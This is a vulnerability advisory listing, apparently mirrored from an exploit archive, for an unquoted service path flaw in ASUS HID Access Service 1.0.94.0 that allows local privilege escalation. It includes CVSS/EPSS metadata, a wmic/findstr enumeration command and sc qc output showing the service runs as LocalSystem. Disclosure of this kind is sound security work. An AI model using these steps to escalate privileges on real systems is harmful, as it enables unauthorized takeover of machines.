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ASUS HID Access Service 1.0.94.0 Unquoted Service Path

CVE Category Price Severity
CVE-2021-21880 CWE-428 N/A High
Author Risk Exploitation Type Date
Unknown High Local 2021-05-20
CPE
cpe:cpe:/o:asus:hid-access-service:1.0.94.0
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021050115

Below is a copy:

ASUS HID Access Service 1.0.94.0 Unquoted Service Path
# Exploit Title: ASUS HID Access Service 1.0.94.0 - 'AsHidSrv.exe' Unquoted Service Path
# Date: 2020-05-19
# Exploit Author: Alejandra Snchez
# Vendor Homepage: www.asus.com
# Version: 1.0.94.0
# Tested on: Windows 10 Pro x64 es

# Description:
ATK Hotkey 1.0.94.0 suffers from an unquoted search path issue impacting the service 'AsHidService'. This could potentially allow an 
authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
potentially be executed during application startup or reboot. If successful, the local users code would execute with the elevated privileges
of the application.

# Prerequisites
Local, Non-privileged Local User with restart capabilities

# Details

C:\>wmic service get name, pathname, displayname, startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
ASUS HID Access Service               AsHidService               C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\AsHidSrv.exe               Auto

C:\>sc qc "AsHidService"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: AsHidService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\AsHidSrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : ASUS HID Access Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

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